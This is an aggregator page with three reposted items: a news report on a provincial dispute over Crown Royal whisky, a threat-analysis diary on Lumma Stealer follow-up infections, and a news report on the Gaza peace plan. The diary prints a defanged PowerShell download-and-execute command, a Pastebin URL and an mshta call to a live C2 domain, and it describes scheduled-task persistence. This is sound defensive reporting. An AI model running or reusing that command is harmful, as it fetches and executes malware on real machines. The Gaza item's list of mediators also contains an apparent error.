Category: Uncategorized

  • Why two Canadian provinces are in a spat over Crown Royal whisky

    Why two Canadian provinces are in a spat over Crown Royal whisky


    Nadine YousifSenior Canada reporter

    Bloomberg via Getty Images Manitoba Premier Wab Kinew and Ontario Premier Doug Ford, both in dark suit, smile as they shake hands during a meeting of premiers. Behind them is a number of flags representing different provinces. A blond woman stands with her back to the camera on the left. Bloomberg via Getty Images

    Manitoba Premier Wab Kinew and Ontario Premier Doug Ford generally have a friendly relationship but are taking shots at each other over whisky

    A British owned, Canadian-made whisky is at the centre of a spat between two provinces that is testing a unified “Team Canada” approach in the face of US tariffs.

    It started after the whisky maker, Diageo, said it will shut down a bottling plant in Ontario to move some of it closer to US consumers.

    Soon after, Ontario Premier Doug Ford angrily poured out a bottle of Crown Royal in front of reporters, and now says the product will be removed from provincial liquor stores. This has alarmed neighbouring Manitoba, where a Crown Royal distillery is a key employer in the small town of Gimli.

    In a symbolic visit to the Gimli distillery on Tuesday, Manitoba Premier Wab Kinew urged Ford to “do a 180”.

    “We understand, Doug, that you get fired up and say things in public,” Kinew said. “But we also understand that you do the right thing when you have a chance to reconsider”.

    The row over Crown Royal – a Canadian whisky brand that was introduced during the 1939 royal tour of Canada by King George VI – dates back to August.

    That’s when Diageo first announced it would close its Amherstburg, Ontario, bottling facility after five decades of operations.

    The UK-based company said last summer it planned to close the plant in February as part of a broader restructuring to improve its North American supply chain, and – to Ford’s dismay – move bottling operations closer to the US.

    “Here’s what I think about Crown Royal,” he said shortly after Diageo’s announcement, before pouring an entire bottle of the whisky on the ground during a news conference and calling Diageo owners “dumb as a bag of hammers”.

    He then vowed to “hurt” the firm and urged Canadians to boycott the product.

    The company has said bottling operations for Canada and non-US markets are set to move to a Quebec facility southwest of Montreal.

    While it has not said it will shift any operations to the US, Ford has speculated that they will.

    “It’s all going to Alabama,” he said earlier this month. “Mark my words.”

    Ford also vowed to remove the whisky from the shelves in Ontario, where liquor stores are operated by the province. The Liquor Board of Ontario is the largest wholesale purchaser of alcohol in North America. Crown Royal is its top selling whisky, according to Diageo.

    Manitoba is now pleading with Ford to change course.

    The Crown Royal distillery plant is a major driver for business in the town of Gimli, home to about 2,300 people, Premier Kinew said on Tuesday.

    He warned Ford that he could inadvertently hurt Canadians with the boycott.

    Diageo employs more than 500 people across Canada, the company told the BBC, including100 in Ontario separate from those working at the Amherstburg site.

    “When we’re talking about Team Canada, we have to stay united across the provinces,” Kinew said.

    “Having a Team Canada approach can’t mean targeting jobs in another province.”

    Watch from 2025: Ontario Premier Doug Ford dumps whisky in protest

    Nicknamed “Captain Canada” by some, Ford has built a reputation for being combative against US tariffs and the job losses they have been linked to in Ontario.

    Ford notably led a charge to remove US liquor from Canadian stores in retaliation for the levies – a move that has since become a trade irritant for the Trump administration.

    He has often appeared on major US networks to make the case for free trade between the two countries.

    More recently, an anti-tariff advertisement commissioned by the province that ran on American TV caused Trump to abruptly halt trade talks with Canada.

    Still, Ford’s reaction to Diageo has been applauded by the local union, which says it represents more than 200 workers at the Amherstburg plant whose future is now uncertain.

    “This is how you fight a trade war,” Unifor National President Lana Payne said in September, after Ford first called for a boycott.

    But the United Food & Commercial Workers, the union representing Diageo workers outside Ontario, criticised Ford for “stunts” that it says “are directly attacking the livelihoods of hundreds of Canadian workers”.

    Kinew, who enjoys the highest approval rating of any premier in Canada, said he recognised Ford was standing up for Ontarians but noted they “are Canadians, just like the people here in Gimli”.

    He invited Ford to visit Manitoba to discuss the issue over a weekend ice hockey game between Toronto and Winnipeg.

    “We can settle this thing and just put this episode behind us,” Kinew said.

    Ford has confirmed he received the invite and called Kinew “a fine gentleman”. But he did not say if he would take up his offer.

    As for changing his mind on Crown Royal, he told reporters: “No, I’m not reconsidering.”



    Source link

  • Infection repeatedly adds scheduled tasks and increases traffic to the same C2 domain

    Infection repeatedly adds scheduled tasks and increases traffic to the same C2 domain


    Introduction

    In recent weeks, Lumma Stealer infections have followed a specific pattern in follow-up activity. This pattern adds scheduled tasks for the same action, which increases traffic to the same C2 domain. This diary documents an example from one of these infections on January 14, 2026.

    Details

    After Lumma Stealer performs its data exfiltration, the infected Windows host retrieves information from a Pastebin link, which the infected host uses for a follow-up infection. So far, this follow-up infection has used .cc domains for its C2 traffic. Here is one such example from the beginning of January 2026.

    The image below shows an example of a Lumma Stealer infection from today.



    Shown above: Traffic from a Lumma Stealer infection today filtered in Wireshark.

    The follow-up infection from Lumma Stealer activity begins with a Pastebin URL, which is hxxps[:]//pastebin[.]com/raw/xRmmdinT seen as recently today, as January 14, 2026.



    Shown above: Pastebin URL used for the follow-up infection shown in a web browser.

    The Pastebin URL returns the following PowerShell command:

    irm hxxps[:]//fileless-market[.]cc/Notes.pdf | iex

    This leads to several follow-up HTTPS requests for hxxps[:]//fileless-market[.]cc/ as time progresses. These HTTPS requests are caused by commands for mshta hxxps[:]//fileless-market[.]cc/ that in turn generate a scheduled task to perform the same command.

    This activity appears to build on itself. Almost 11 hours after an initial infection, the infected Windows host in my lab had 31 scheduled tasks with different names, but they all had the same trigger and action: running the mshta command for hxxps[:]//fileless-market[.]cc/.



    Shown above: Task scheduler for the infected Windows host showing multiple tasks generated by this infection after several hours.

    This generated more C2 traffic to fileless-market[.]cc as the hours passed. On January 14, 2026 at 16:02 UTC, I saw 33 TCP streams for HTTPS sessions to this C2 server.



    Shown above: 33 TCP streams for HTTPS sessions to fileless-market[.]cc from this infection.

    Final Words

    This C2 activity seems a bit unusual. I’ve never seen it before. I chatted about this with some of the other handlers, and they did not remember seeing this type of increase in scheduled tasks and post-infection traffic. If anyone else has noticed activity like this, please leave a comment!

    Bradley Duncan

    brad [at] malware-traffic-analysis.net



    Source link

  • US announces start of phase two of Trump’s Gaza peace plan

    US announces start of phase two of Trump’s Gaza peace plan


    US envoy Steve Witkoff has announced the start of phase two of President Donald Trump’s plan to end the war in Gaza, with a technocratic Palestinian government established in the territory.

    He said the second phase would also see the reconstruction and full demilitarisation of Gaza, including the disarmament of Hamas and other Palestinian groups.

    “The US expects Hamas to comply fully with its obligations,” he warned, noting these include the return of the body of the last dead Israeli hostage. “Failure to do so will bring serious consequences.”

    Under phase one, Hamas and Israel agreed a ceasefire in October, as well as a hostage-prisoner exchange, a partial Israeli withdrawal, and an aid surge.

    Following the US announcement, regional mediators Egypt, Gaza and Turkey welcomed the formation of what they called the “Palestinian Technocratic Committee to Administer the Gaza Strip”, saying it would “contribute to strengthening efforts aimed at consolidating stability and improving the humanitarian situation”.

    They also revealed that the 15-member body would be headed by Ali Shaath, a former deputy planning minister in the Western-backed Palestinian Authority (PA), which governs parts of the occupied West Bank not under Israeli control.

    The transitional administration will operate under the supervision of a “Board of Peace”, which will be chaired by Trump, according to the 20-point plan he unveiled three months ago.

    Announcements related to the board are expected in the coming days, including when the president visits the World Economic Forum in Davos next week.

    Former UN Middle East envoy Nickolay Mladenov, who has been meeting Israeli and Palestinian officials, is set to be the board’s representative on the ground in Gaza.

    Earlier on Wednesday, Hamas and its ally Palestinian Islamic Jihad (PIJ) said in a joint statement that they had agreed to support the efforts to form the technocratic Palestinian government “while providing the appropriate environment” for it to begin work.

    The PA – which is dominated by Fatah, Hamas’s rival – also expressed its support.

    Vice-President Hussein al-Sheikh said Trump’s leadership had “contributed to creating a new opportunity for peace, stability, and good governance”, and urged all Palestinian factions, institutions and segments of society to “ensure the success of this critical transitional phase”.

    The office of Israel’s prime minister meanwhile said he had spoken on Wednesday evening with the parents of Ran Gvili, the last dead hostage in Gaza.

    Benjamin Netanyahu made it clear to Itzik and Talik Gvili “that Ran’s return is our top priority and that the declarative move to establish a technocratic committee will not affect efforts to return Ran for burial in Israel”, his office added.

    The 24-year-old police officer was among the 251 people abducted during the Hamas-led attack on southern Israel on 7 October 2023, when about 1,200 other people were killed.

    Israel responded to the attack by launching a military campaign in Gaza, during which more than 71,430 people have been killed, according to the territory’s Hamas-run health ministry.



    Source link